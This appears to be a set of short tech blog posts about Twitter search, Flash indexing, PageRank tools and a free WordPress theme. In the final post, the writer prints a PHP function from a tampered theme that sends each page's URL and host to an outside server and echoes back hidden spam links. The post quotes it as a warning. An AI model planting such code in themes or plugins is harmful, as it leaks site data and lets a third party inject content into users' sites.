Twitter is working on a Real time search engine and this might be change the face of twitter

Zdnet broke a story about the same

Santosh Jayaram who was VP , Search Quality , Google is now VP of Operations at Twitter .

SEO will have a new term – after Google Optimization and Yahoo, get read for Twitter Optimization

Soon Twitter will crawl tweeted urls and index the content.

This will be used to display results inside twitter.

Spammers who post crap links as tweets will die a slow death if this feature goes live

Also useless retweets will now go down the drain.

Off late twitter has been information overload to me after RSS overload.

IM really excited to see this decision by twitter in organizing the data better.

Also , when you have such data , Contextual ads will do really well. Twitter is not going to keep making losses for long

Imagine a user searching for mobile phones is reading a tweet pointing to http://fonearena.com

Advertisers who usually advertise on the site will love to target the potential user base of fonearena.

It gives them more ROI than advertising on a tweet pointing to say my personal blog

only time will tell whats going to happen

I had written about this fact on TechQuack Can Search Engines understand flash atleast Google does

Jeff Muendel at news.com has written a nice detailed post about how Search engines like Google read text in Flash sites.

Stephan Spencer had interviewed Top Googler Matt Cutts and its now public that Google is using Adobe’s flash SDK

Now the problem is that Google can understand text and index it .. How will they provide matching results ?

What the context between a zillion flash movies with text.

So better put a lot of relevant text in your flash movies

I always have a passion for monitoring pageranks of my websites and other websites.

I use the Google toolbar and   Live PR (currently down) for monitoring current page rank.

For Page Rank Prediction / Future Rank I have used a lot of websites like

http://www.iwebtool.com/pagerank_prediction and http://www.rustybrick.com/pagerank-prediction.php

iwebtool and rusty used to work like a charm, but not anymore.

Has Google banned users from finding out future page rank ? or is the algorithm these tools are based on a failure for a change in Google’s Algo?

Only one tool at PageRankPrediction seems to be working now.

You must have heard of Google Calculator . You can type math expressions in the query and get the result.

Now try this link

Only Unicorn

But you will see no answer for a Bull , Ox, Rhino or any other creature

Google programmers are known to have some sense of humor.

Really funny.

I had downloaded a free theme after googling landed on templatesbrowser.com

The name might sound genuine. But beware they are a bunch of b@stards trying to place hidden links on all downloaded themes.

The theme available for download in the orginal site and at http://www.templatesbrowser.com/wordpress-themes/ have only one function in the code base different

function credits()
{
$URL = “http://get.templatesbrowser.com/wp.php?” . “URL=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($URL);
fclose($check);
}
}

If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:

This produces a link at the bottom of every WordPress page, that is invisible for human readers, Which is an SEO backhat technique

By using such a wordpress theme you are going to be supporting spammers and sooner or later your site might loose its Search Engine presence even if its a high quality site.

So even if you lazy to build a wordpress theme from scratch , make sure to check the output markup so that you are not caught in a trap.

I had a narrow escape thanks to :- http://www.onnoot.com
